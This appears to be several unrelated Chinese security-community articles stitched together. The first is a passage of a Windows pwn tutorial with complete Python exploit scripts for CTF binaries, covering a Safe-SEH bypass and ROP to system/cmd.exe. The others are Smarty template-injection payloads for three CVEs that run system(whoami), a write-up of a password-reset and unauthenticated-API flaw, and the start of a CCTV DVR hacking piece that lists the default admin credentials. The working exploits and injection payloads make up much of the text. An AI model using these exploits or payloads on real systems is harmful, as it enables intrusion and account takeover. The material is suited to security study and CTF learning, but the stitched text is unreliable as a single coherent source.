5. `NX/DEP/PAE`：与`Linux`相同，`NX`保护指的是内存页不可运行(`No-eXecute`)，这项技术是一项系统级的内存保护功能，使操作系统能够将一页或多页内存标记为不可执行，从而防止从该内存区域运行代码，以帮助防止利用缓冲区溢出。它帮助防止代码在数据页面(例如堆，栈和内存池)中运行，在`Windows`中常称为`DEP`(数据执行保护，即`Data Execution Prevention`)，同时引入了一个新的机制被称为`PAE`(物理地址扩展，即`Physical Address Extension`)，`PAE`是一项处理器功能，使`x86`处理器可以在部分`Windows`版本上访问`4 GB`以上的物理内存。在基于`x86`的系统上运行的某些`32`位版本的`Windows Server`可以使用`PAE`访问最多`64 GB`或`128 GB`的物理内存，具体取决于处理器的物理地址大小。使用`PAE`，操作系统将从两级线性地址转换转换为三级地址转换。两级线性地址转换将线性地址拆分为三个独立的字段索引到内存表中，三级地址转换将其拆分为四个独立的字段：一个2位的字段，两个9位的字段和一个12位的字段。`PAE`模式下的页表条目(`PTE`)和页目录条目(`PDE`)的大小从32位增加到64位。附加位允许操作系统PTE或PDE引用4 GB以上的物理内存。同时，`PAE`将允许在基于`x64`的系统上运行的32位`Windows`中启用`DEP`等功能。
6. `SEHOP`：即结构化异常处理保护(`Structured Exception Handling Overwrite Protection`)，这个保护能够防止攻击者利用结构化异常处理来进行进一步的利用。
7. `CFG`：即控制流防护(`Control Flow Guard`)，这项技术通过在间接跳转前插入校验代码，检查目标地址的有效性，进而可以阻止执行流跳转到预期之外的地点， 最终及时并有效的进行异常处理，避免引发相关的安全问题。
简单的说，就是在程序间接跳转之前，会判断这个将要跳转的地址是否是合法的。
8. `RFG`：即返回地址防护(`Return Flow Guard`)，这项技术会在每个函数头部将返回地址保存到`fs:[rsp]`(`Thread Control Stack`)，并在函数返回前将其与栈上返回地址进行比较，从而有效阻止了这些攻击方式。
9. `SafeSEH`：即安全结构化异常处理(`Safe Structured Exception Handlers`)，这项技术可以理解为一个白名单版的安全沙箱，它会事先为你定义一些异常处理程序，并基于此构造安全结构化异常处理表，程序正式运行后，安全结构化异常处理表之外的异常处理程序将会被阻止运行。
10. `GS`：这个保护类似于`Linux`中的`Canary`保护，一旦开启，会在返回地址和`BP`之前压入一个额外的`Security Cookie`。系统会比较栈中的这个值和原先存放在`.data`中的值做一个比较。如果两者不吻合，说法栈中发生了溢出。
11. `Authenticode`：签名保护。
12. `.NET`：`DLL`混淆级保护。
### 新机制——结构化异常处理(`SEH`机制)
结构化异常处理是`Windows`操作系统上`Microsoft`对`C/C++`程序语言做的语法扩展，用于处理异常事件的程序控制结构。异常事件是指打断程序正常执行流程的不在期望之中的硬件、软件事件。硬件异常是CPU抛出的如“除0”、数值溢出等；软件异常是操作系统与程序通过`RaiseException`语句抛出的异常。`Microsoft`扩展了C语言的语法，用`try-except`与`try-finally`语句来处理异常。异常处理程序可以释放已经获取的资源、显示出错信息与程序内部状态供调试、从错误中恢复、尝试重新执行出错的代码或者关闭程序等等。一个`__try`语句不能既有`__except`，又有`__finally`。但`try-except`与`try-finally`语句可以嵌套使用。
#### `SEH`相关的重要结构体
##### TIB结构体
`TIB`(`Thread Information
Block`，线程信息块)是保存线程基本信息的数据结构，它存在于`x86`的机器上，它也被称为是`Win32`的`TEB`(`Thread
Environment Block`，线程环境块)。`TIB/TEB`是操作系统为了保存每个线程的私有数据创建的，每个线程都有自己的`TIB/TEB`。
`TEB`结构位于`Windows.h`，内容如下：
typedef struct _TEB {
PVOID Reserved1[12];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;
`TIB`没有在`Windows`文档中说明，这里从`Wine`中可以看到结构如下：
// Code in https://source.winehq.org/source/include/winnt.h#2635
typedef struct _NT_TIB{
struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist; // 指向当前线程的 SEH
PVOID StackBase; // 当前线程所使用的栈的栈底
PVOID StackLimit; // 当前线程所使用的栈的栈顶
PVOID SubSystemTib; // 子系统
union {
PVOID FiberData;
ULONG Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; //指向TIB结构自身
} NT_TIB;
在这个结构中与异常处理有关的成员是指向`_EXCEPTION_REGISTRATION_RECORD`结构的`Exceptionlist`指针
#### `_EXCEPTION_REGISTRATION_RECORD`结构体
该结构体主要用于描述线程异常处理句柄的地址，多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系。
结构内容为：
// Code in https://source.winehq.org/source/include/winnt.h#2623
typedef struct _EXCEPTION_REGISTRATION_RECORD{
struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个结构的指针
PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;
### 新机制——导入表和导出表
Windows程序没有延迟绑定机制自然也就没有`PLT/GOT`表，但是`Windows`程序显然也是要调用所谓的库函数的，`Windows`下的函数库是`DLL`文件，类似于`Unix`下的`libc`文件，程序调用库函数需要借助的就是导入表和导出表了。
导入表是`PE`数据组织中的一个很重要的组成部分，它是为实现代码重用而设置的。通过分析导入表数据，可以获得诸如`PE`文件的指令中调用了多少外来函数，以及这些外来函数都存在于哪些动态链接库里等信息。`Windows`加载器在运行`PE`时会将导入表中声明的动态链接库一并加载到进程的地址空间，并修正指令代码中调用的函数地址。在数据目录中一共有四种类型的数据与导入表数据有关：
导入表、导入函数地址表、绑定导入表、延迟加载导入表。
程序中，导入表的地址通常位于`.idata`段
## 0x04 以[HITB GSEC]BABYSTACK为例
### 程序保护检查
### 程序漏洞分析
程序漏洞还是较为明显的：
在`Line 34`中，我们向`choice`这个局部变量写入了`0x100`个字节，这会造成栈溢出漏洞.
同时我们事实上可以发现程序中预留了后门语句
那么我们接下来只要能劫持`EIP`就能成功完成漏洞利用，程序开启了`GS`保护，因此我们无法直接劫持返回地址。
进一步分析`main`函数发现，程序在`main`中注册了一个异常处理函数，如果一个程序中注册了一个异常处理函数，那么当该函数运行发生异常时将会由该异常处理函数进行异常的捕获及处理。
我们尝试使用`WinDbg`附加到此程序，然后尝试读`0`地址处的值。
发现程序确实转而去调用注册了的`SEH`了，又发现，程序在压入`EBP`后，压入栈的第三个数即为`SEH`地址，恰好在我们的可控范围，于是我们可以依据此来控制执行流。
### 程序漏洞利用
#### 控制执行流
首先我们来写一个不触发漏洞利用的交互EXP
Stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)
PIE_address = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)
sh.recvuntil('Do you want to know more?')
sh.sendline('noo')
payload = 'A' * 0x10
get_gdb(sh)
sh.sendline(payload)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
可以发现，异常正常被捕获，接下来，我们来写一个触发漏洞利用的交互EXP
Stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)
PIE_address = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)
sh.recvuntil('Do you want to know more?')
sh.sendline('noo')
payload = 'A' * 0x90 + p32(0xDEADBEEF)
get_gdb(sh)
sh.sendline(payload)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
可以发现，原有的异常捕获函数将不再被运行。
#### `Safe-SEH`绕过
但我们注意到，尽管我们已经屏蔽了原有的`SEH`，但是，我们没有将流程劫持到`0xDEADBEEF`！
这是因为`Safe-SEH`的开启，导致不在`__safe_se_handler_table`中的`SEH`均不会被运行，那么就不限于`0xDEADBEEF`了，程序预留的后门必然也不是不合条件的`SEH`，那么我们接下来就要绕过`Safe-SEH`了。
那么，我们来分析程序中注册的`__except_handler4`异常，由于`Windows`是不开源的系统，因此我们只能通过逆向的手段来去查看相关伪代码，相关代码存在于`MSVCRT.dll`。
将代码进行简单的优化以及重命名可以得到以下伪代码：
int __cdecl _except_handler4_common(unsigned int *CookiePointer, void (__fastcall *CookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *ExceptionRecord, _EXCEPTION_REGISTRATION_RECORD *EstablisherFrame, _CONTEXT *ContextRecord)
{
ScopeTable = (_EH4_SCOPETABLE *)(*CookiePointer ^ EstablisherFrame + 8);
ValidateLocalCookies(CookieCheckFunction, ScopeTable, &EstablisherFrame + 16);
__except_validate_context_record(ContextRecord);
if ( ExceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = ExceptionRecord;
exceptionPointers.ContextRecord = ContextRecord;
tryLevel = *(_DWORD *)(EstablisherFrame + 12);
*(_DWORD *)(EstablisherFrame - 4) = &ExceptionPointers;
if ( tryLevel != -2 )
{
do
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = *(&ScopeTable->GSCookieOffset + v8);
scopeTableRecord = &ScopeTable->GSCookieOffset + v8;
encloseingLevel = scopeTableRecord->EnclosingLevel;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc, EstablisherFrame + 2);
......
if ( filterFuncRet > 0 )
{
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord->HandlerFunc, v5);
......
}
}
else
{
......
}
tryLevel = encloseingLevel;
}while ( encloseingLevel != -2 );
......
}
}
......
}
分析可以发现，在`Line 32`处，程序实际执行了`filterFunc(EstablisherFrame +
2)`，那么，我们只需要控制`filterFunc`和`EstablisherFrame`这两个值事实上就可以控制执行流程了。
那么我们来看`SEH`的栈结构：
Scope Table
+-------------------+
| GSCookieOffset |
+-------------------+
| GSCookieXorOffset |
+-------------------+
EH4 Stack | EHCookieOffset |
+-------------------+ +-------------------+
High | ...... | | EHCookieXorOffset |
+-------------------+ +-------------------+
ebp | ebp | +-----------> EncloseingLevel <--+-> 0xFFFFFFFE
+-------------------+ | Level 0 +-------------------+ |
ebp - 04h | TryLevel +---+ | FilterFunc | |
+-------------------+ | +-------------------+ |
ebp - 08h | Scope Table | | | HandlerFunc | |
+-------------------+ | +-------------------+ |
ebp - 0Ch | ExceptionHandler | +-----------> EncloseingLevel +--+-> 0x00000000
+-------------------+ Level 1 +-------------------+
ebp - 10h | Next | | FilterFunc |
+-------------------+ +-------------------+
ebp - 14h | ExceptionPointers +----+ | HandlerFunc |
+-------------------+ | +-------------------+
ebp - 18h | esp | |
+-------------------+ | ExceptionPointers
Low | ...... | | +-------------------+
+-------------------+ +----------> ExceptionRecord |
+-------------------+
| ContextRecord |
+-------------------+
在处理程序的一开始我们可以看到，为了要伪造`FilterFunc`，我们需要知道`CookiePointer`的值，这个值储存在`__security_cookie`的内存处，且与程序加载位置偏移固定，于是可以直接通过`main`函数地址的位置进行计算获得！
事实上，接下来其实还有个问题，在异常处理中可以看到有`ValidateLocalCookies(CookieCheckFunction,
ScopeTable, &EstablisherFrame + 16);`我们来看看此处的实现：
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3
if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
这里事实上就是检查要求`*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned
int)&framePointer[scopeTable->EHCookieXOROffset]`的值必须为`__security_cookie`，以及`*(_DWORD
*)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned
int)&framePointer[scopeTable->GSCookieXOROffset]`的值必须为`__security_cookie`。
从上图的结构图可以看出我们事实上可以劫持`scopeTable`的地址！那么我们可以让`scopeTable->GSCookieOffset`的值为`-2`，这样程序将不会继续检查`*(_DWORD
*)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned
int)&framePointer[scopeTable->GSCookieXOROffset];`。
那么我们可以构造`Payload`:
payload = 'a' * 0x10
payload += p32(0x0FFFFFFFE) # scopeTable -> GSCookieOffset
payload += p32(0)
payload += p32(0x0FFFFFFCC) # scopeTable -> EHCookieOffset
payload += p32(0)
payload = payload.ljust(0x70, 'b')
payload += p32(GS_Cookie) # framePointer[scopeTable->EHCookieOffset]
payload += 'c' * 0x20
payload += p32(stack_address + 0xD4)
payload += p32(PIE_address + 0x1460)
payload += p32((stack_address + 0x10) ^ security_cookie) # scopeTable
payload += p32(0)
payload += 'd' * 0x10 # framePointer
可以发现，该检查已经通过！
#### 最终劫持控制流到Shell
接下来我们只需要伪造`FilterFunc`到程序后门即可完成利用。
### Final Exploit
from winpwn import *
import os
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
# file_name=ELF('./file_name', checksec = False)
def get_sh():
if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE' :
return remote(sys.argv[2],sys.argv[3])
else:
return process("./BABYSTACK.exe")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string).strip(end_string),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].strip(end_string).ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
print(info + str(hex(return_address)))
return return_address
# def get_flag(sh):
# sh.sendline('cat /flag')
# return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
windbgx.attach(sh)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)
PIE_address = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline(str(PIE_address + 0x4004))
security_cookie = get_address(sh=sh,info="[+] Security Cookie IS ",start_string=" value is 0x",end_string="x0A",int_mode=True)
GS_Cookie = (stack_address + 0x9C) ^ security_cookie
payload = 'a' * 0x10
payload += p32(0x0FFFFFFFE)
payload += p32(0)
payload += p32(0x0FFFFFFCC)
payload += p32(0)
payload += p32(0xFFFFFFFE)
payload += p32(PIE_address + 0x138D)
payload = payload.ljust(0x78 - 0x10, 'b')
payload += p32(GS_Cookie)
payload += 'c' * 0x20
payload += p32(stack_address + 0xD4)
payload += p32(PIE_address + 0x1460)
payload += p32((stack_address + 0x10) ^ security_cookie)
payload += p32(0)
payload += 'd' * 0x10
sh.recvuntil('Do you want to know more?')
# get_gdb(sh)
sh.sendline('noo')
sh.sendline(payload)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
os.system("")
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x05 以[root-me]PE32 – Stack buffer overflow basic为例
### 程序保护检查
发现基本是无保护程序
### 程序漏洞分析
存在一个明显的栈溢出
存在后门函数
### 程序漏洞利用
直接利用常规的栈溢出思路，覆盖返回地址以及`EBP`
### Final Exploit
from winpwn import *
import os
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
# file_name=ELF('./file_name', checksec = False)
def get_sh():
if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE' :
return remote(sys.argv[2],sys.argv[3])
else:
return process("./ch72.exe")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string).strip(end_string),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].strip(end_string).ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
print(info + str(hex(return_address)))
return return_address
# def get_flag(sh):
# sh.sendline('cat /flag')
# return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
windbgx.attach(sh)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
payload = 'a' * 0x14 + p32(0xDEADBEEF)
payload += p32(0x401000)
# get_gdb(sh)
sh.sendline(payload)
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
os.system("")
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x06 以[root-me]Advanced stack buffer overflow为例
### 程序保护检查
### 程序漏洞分析
这个题需要我们在运行时提交一个文件作为餐数，然后会读取其中的内容作为`manage_file`函数的参数传入
然后程序就会将文件的内容读取到局部变量中
但是显然这里没有做很好的长度过滤，这会导致栈溢出的发生。
这一次程序中不再有后门函数以供我们利用，于是我们这次使用`ret2dll`完成利用。
### 程序漏洞利用
**由于程序没有开启`PIE`保护，系统也没有开启`aslr`于是可以不用考虑`Leak`相关地址后程序崩溃的问题，因为相关地址并不会发生任何的改变。**
#### 泄露合法文件地址
由于我们触发栈溢出后必然会影响`fclose`的参数，于是我们先行泄露：
payload = p32(0) * 100
open('./payload_0','w').write(payload)
#### 泄露DLL加载地址
我们可以利用`printf`函数来泄露并计算`DLL`文件的加载基址。
payload = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF)
payload += p32(0x00402974) # printf@plt
payload += p32(0x004016E3) # _manage_file
payload += p32(0x00406200) # printf@got
open('./payload_1','w').write(payload)
又可以从`IDA`中看出`DLL`文件位于`msvcrt.dll`，文件位于`C:WindowsSystemSysWOW64`目录下。
于是可以计算出`DLL`加载地址
#### 最终完成利用
最终我们直接计算构造ROP即可
### Final Exploit
from winpwn import *
import os
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
# file_name=ELF('./file_name', checksec = False)
def get_sh():
if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE' :
return remote(sys.argv[2],sys.argv[3])
else:
return process("./ch73.exe")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string).strip(end_string),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].strip(end_string).ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
print(info + str(hex(return_address)))
return return_address
# def get_flag(sh):
# sh.sendline('cat /flag')
# return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
windbgx.attach(sh)
if stop :
raw_input()
def Attack():
try:
# Your Code here
payload = p32(0) * 100
open('./payload_0','w').write(payload)
payload = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF)
payload += p32(0x00402974) # printf@plt
payload += p32(0x004016E3) # _manage_file
payload += p32(0x00406200) # printf@got
open('./payload_1','w').write(payload)
payload = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF)
payload += p32(0x76213DC0) # system
payload += p32(0x004016E3) # _manage_file
payload += p32(0x761D47A4) # cmd.exe
open('./payload_2','w').write(payload)
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
os.system("")
Attack()
## 0x07 参考链接
[【原】超酷的 PowerShell 美化指南 – Lulus](https://zhuanlan.zhihu.com/p/51901035)
[【原】CFG防护机制的简要分析 – f0 _**_](https://xz.aliyun.com/t/2587)
[【原】Windows-pwn解题原理&利用手法详解 – 萝卜](https://www.anquanke.com/post/id/188170)
[【原】HITB GSEC BABYSTACK — win pwn 初探 – Ex](http://blog.eonew.cn/archives/1182)
[【原】Windows PE 第四章 导入表 –
TK13](https://blog.csdn.net/u013761036/article/details/52751849) | 社区文章 |
## 前言
本文章将对 Smarty 最新的漏洞做一下简单的分析与总结
## Smarty 简介
在开始介绍 Smarty 之前先了解一下模板引擎，模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案，简单来说就是 html
文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则，我们只需要在 html 文件里写好 Smarty 的标签即可，例如
{name}，然后调用 Smarty 的方法传递变量参数即可
## 环境搭建
文章使用的 Smarty 版本根据漏洞而定，下载链接：[Smarty github](https://github.com/smarty-php/smarty/releases?page=2 "Smarty 下载") ，容器是 Windows 10 下的 phpstudy，php 版本是
7.3.4，安装很简单，下载源码解压后引入 Smarty.class.php
即可，如下所示，环境搭建相关的详细内容参见：[搭建详情](https://blog.51cto.com/u_15072917/4666241 "搭建详情")
## 开始复现
### 任意文件读取
* POC：`string:{include file='C:/Windows/win.ini'}`
* 漏洞原因：[{include}](https://www.smarty.net/docs/en/language.function.include.tpl "{include}") 标签所导致，被该标签引入的文件只会单纯的输出文件内容，就算引入 php 文件也是如此
* 版本限制：无
引入普通文件：
引入 php 文件：
通过 templates_c 目录的模板编译文件可以看到为什么引入 php 文件只能输出内容，Smarty 会使用正则表达式去匹配
<?php?>，匹配到之后会使用单引号包裹。
### CVE-2021-26120
* POC：`string:{function name='x(){};system(whoami);function '}{/function}`
* 漏洞原因：[{function}](https://www.smarty.net/docs/en/language.function.function.tpl "{function}") 标签的 name 属性可以通过精心构造注入恶意代码
* 版本限制：在 3.1.39 版本修复，所以小于 3.1.39 能用
测试效果
查看 templates_c 目录下生成的模板编译文件
导致漏洞的代码在
`libs/sysplugins/smarty_internal_compile_function.php#Smarty_Internal_Compile_Function->compile()`
查看 3.1.39 版本修复之后的代码，可以看到增加了正则限制 name 的内容，此时就无法注入恶意代码了
### CVE-2021-26119
* POC:
`string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}`
`string:{$smarty.template_object->smarty->enableSecurity()->display('string:{system(whoami)}')}`
`string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}`
`string:{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system(whoami)}')}`
`string:{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system(whoami)}')}`
`string:{$smarty.template_object->smarty->addPluginsDir('./x')->display('string:{system(whoami)}')}`
`string:{$smarty.template_object->smarty->setPluginsDir('./x')->display('string:{system(whoami)}')}`
`string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{system(whoami)}')}`
`string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}`
* 漏洞原因：可以通过 {$smarty.template_object} 访问到 smarty 对象所导致
* 版本限制：这个漏洞还没有被修复，我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码
测试效果
简单分析一下，触发漏洞之后，在 templates_c 目录下会生成两个模板编译文件，我们在第二个文件处执行 whoami 的位置下断点调试
第一个文件：
第二个文件：
可以看到第一次调用了第一个文件的函数 content_62405bd45e06b5_71225150
第二次调用了第二个文件的函数 content_62405bd5572234_18969587，然后执行到恶意代码
为什么不直接传入 POC:`string:{system(whoami)}` 到
$_POST['data']，而是要以上述这种方式，简单做一下演示就明白了。1.php 和 2.php 用于演示
1.php:
<?php
include_once('./libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->_getSmartyObj()->display('string:{system(whoami)}');
?>
2.php:
<?php
include_once('./libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->display('string{system(whoami)}');
?>
然后用 burpsuite 访问这两个文件，你会发现 1.php 成功执行 whoami，而 2.php
却出现了报错，这里不做深究，如果感兴趣的话可以自己进行调试分析，通过简单的演示我们知道了 1.php 的写法可以注入恶意代码到模板编译文件
### CVE-2021-29454
* POC：
`eval:{math
equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}`
* 漏洞原因：`libs/plugins/function.math.php` 中的 `smarty_function_math` 执行了 eval()，而 eval() 的数据可以通过 8 进制数字绕过正则表达式
* 版本限制：在 3.1.42 和 4.0.2 中修复，小于这两个版本可用
php 的 eval() 支持传入 8 或 16 进制数据，以下代码在 php7 版本都可以顺利执行，由于 php5 不支持
`(system)(whoami);` 这种方式执行代码，所以 php5 的 8 进制方式用不了：
eval('("\163\171\163\164\145\155")("\167\150\157\141\155\151");');
eval("\x73\x79\x73\x74\x65\x6d\x28\x77\x68\x6f\x61\x6d\x69\x29\x3b");
测试效果：
漏洞代码位置 libs/plugins/function.math.php
将版本修改为 3.1.42 然后调试，可以看到新增了正则判断修复了漏洞
## 参考资料
<http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=smarty>
<https://www.smarty.net/docs/en/> | 社区文章 |
## 一.起
开局一个登录框，简单测试了几个弱口令无果后
注意力转到找回密码处
先输入两个非法的参数
点击获取验证码，抓包，查看响应代码返回0，前端显示未查询到账户信息
再来一次，抓包并修改响应包，将0改为1，放包后成功来到第二步，前端自动请求了一个后端接口发送验证码
查看该接口的响应，发现验证码作为响应体被返回了
填入验证码，直接跳转到第三步修改新密码，填入新密码后，点击提交
发现请求体里只有userIds和password两个参数，前者是要修改密码用户的uid，后者是新密码的值，猜测这里可能存在任意账户密码重置，而后又意识到我们传入的用户不存在，所以前端存储的userid变量为0，于是我们将请求包中userIds字段修改为1，尝试重置管理员密码。
后端响应为1，证明密码重置成功了，走到这里只觉喜出望外，赶紧拿着新密码去登录管理员账户
结果
想不通，难道是管理员的账户名不是admin？接连试了几个常见管理员用户名都失败后，想到还有个注册点，兴许可以爆破出管理员账号呢？
结果还是不行：
## 二.承
无奈，此路不通另寻他路，注意到有个APP下载的二维码，解析之，而后下载到apk
用工具快速扫描一下，发现两个移动端的接口地址有点不同寻常
访问之，好家伙，竟然返回了所有用户的uid和电话号码
## 三.转
惊喜之余突然回过神来，马上到接口中去检索uid为1的用户
结果证明uid=1的用户不是管理员权限，而是一个普普通通的员工id，之前由于太过笃定管理员的uid就是1，导致我们在这个点上浪费了太多时间。
## 四.合
随后也是通过这个未授权的接口找到了管理员的id
但是为了不对业务系统造成严重破坏，我们仅重置了一个普通用户的密码，随后成功登录以验证漏洞的存在： | 社区文章 |
# 闭路电视DVR的破解过程
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.pentestpartners.com/blog/pwning-cctv-cameras/>
译文仅供参考，具体内容表达以及含义原文为准。
闭路电视监控系统(CCTV)在英国可以算得上是随处可见了。一项最新的统计结果显示,在英国本土总共有大约185万个摄像头,其中大多数摄像头都安装于私
人住宅内。这些摄像头大多数都会连接到某种记录设备,而这类记录设备一般就是数字视频录像机。相对于传统的模拟视频录像机,数字视频录像机采用硬盘录像,
故常常被称为硬盘录像机,也被称为DVR。它是一套进行图像存储处理的计算机系统,具有对图像/语音进行长时间录像、录音、远程监视和控制的功能,DVR
集合了录像机、画面分割器、云台镜头控制、报警控制、网络传输等五种功能于一身,用一台设备就能取代模拟监控系统一大堆设备的功能,而且在价格上也逐渐占有优势。
DVR可以从多个摄像头中获取视频信息,并将这些数据存储在其设备硬盘之中。它不仅可以将图像信息显示在屏幕上,而且用户还可以通过web浏览器或者客户端联网访问DVR设备。
当然了,企业和家庭户主肯定希望通过远程访问他们的DVR设备来时刻关注他们财产的一举一动。由于DVR设备通过端口转发来传递网络数据,这也使得我们能够在Shodan搜索引擎中轻而易举地找到这些设备。
所以,我们打算去[淘一个便宜的DVR](http://www.amazon.co.uk/Security-Real-time-Recorder-Detection-Surveillance/dp/B0162AQCO4/ref=sr_1_2?s=diy&ie=UTF8&qid=1455638899&sr=1-2&keywords=MVpower+8+channel),并对其进行研究和分析,看看其安全性到底如何。反正现在的情况已经很糟糕了。
在经过了几个小时的研究和分析之后,我们发现了下列问题:
**在Shodan上的一些琐碎发现**
在那些运行了客户web服务器的DVR设备中,其HTTP服务器的header非常有特色-“JAWS/1.0”。在Shodan上搜索这个header之后([https://www.shodan.io/search?query=JAWS%2F1.0](https://www.shodan.io/search?query=JAWS%2F1.0)),我们可以发现,当前有超过44000个此类设备已经接入了互联网。虽然并不是每款设备都一样,但看起来它们也没什么太大的区别。
**默认凭证安全性较弱**
在默认情况下,设备的用户名为admin,密码为空。
目前,我们只能使用DVR设备的本地接口来修改这个密码。由于DVR设备并没有配置键盘,所以我敢打赌,大多数的DVR设备仍然使用的是默认密码。
